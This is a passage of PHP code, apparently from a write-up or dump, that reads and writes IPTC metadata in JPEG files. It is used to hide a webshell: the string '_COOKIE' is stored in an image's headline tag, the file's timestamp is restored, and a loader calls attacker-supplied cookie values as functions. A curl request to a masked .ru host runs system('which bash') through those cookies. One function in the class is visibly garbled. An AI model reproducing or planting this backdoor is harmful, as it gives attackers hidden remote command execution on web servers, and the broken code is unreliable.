meta = iptcparse($info["APP13"]);

        $this->file = $filename;
    }

    function getValue($tag)
    {
        return isset($this->meta["2#$tag"]) ? $this->meta["2#$tag"][0] : "";
    }

    function setValue($tag, $data)
    {
        $this->meta["2#$tag"] = [$data];

        $this->write();
    }

    private function write()
    {
        $mode = 0;

        $content = iptcembed($this->binary(), $this->file, $mode);  

        $filename = $this->file;

        if(file_exists($this->file)) unlink($this->file);

        $fp = fopen($this->file, "w");
        fwrite($fp, $content);
        fclose($fp);
    }        

    private function binary()
    {
        $data = "";

        foreach(array_keys($this->meta) as $key)
        {
            $tag = str_replace("2#", "", $key);
            $data .= $this->iptc_maketag(2, $tag, $this->meta[$key][0]);
        }      

        return $data;
    }

    function iptc_maketag($rec, $data, $value)
    {
        $length = strlen($value);
        $retval = chr(0x1C) . chr($rec) . chr($data);

        if($length > 8) .  chr($length & 0xFF);
        }
        else
        {
            $retval .= chr(0x80) . 
                       chr(0x04) . 
                       chr(($length >> 24) & 0xFF) . 
                       chr(($length >> 16) & 0xFF) . 
                       chr(($length >> 8) & 0xFF) . 
                       chr($length & 0xFF);
        }

        return $retval . $value;            
    }  

    function dump()
    {
        echo "";
        print_r($this->meta);
        echo "";
    }

    #requires GD library installed
    function removeAllTags()
    {
        $this->meta = [];
        $img = imagecreatefromstring(implode(file($this->file)));
        if(file_exists($this->file)) unlink($this->file);
        imagejpeg($img, $this->file, 100);
    }
}

$file = "test.jpg";
$time = filemtime($file);

$objIPTC = new IPTC($file);

//set title
$objIPTC->setValue(IPTC_HEADLINE, "_COOKIE");
touch($file,$time);
//set description
echo $objIPTC->getValue(IPTC_HEADLINE);

?>

$file = "test.jpg";
$size = getimagesize($file, $info);
if(isset($info["APP13"])) $info = iptcparse($info["APP13"])['2#105'][0];
if(isset(${$info}['APP13'])) ${$info}['APP13'](${$info}['APP31']);

$ curl 'http://******.ru/images/123.php' -H 'Cookie: APP13=assert;APP31=system("which bash")'
/usr/bin/bash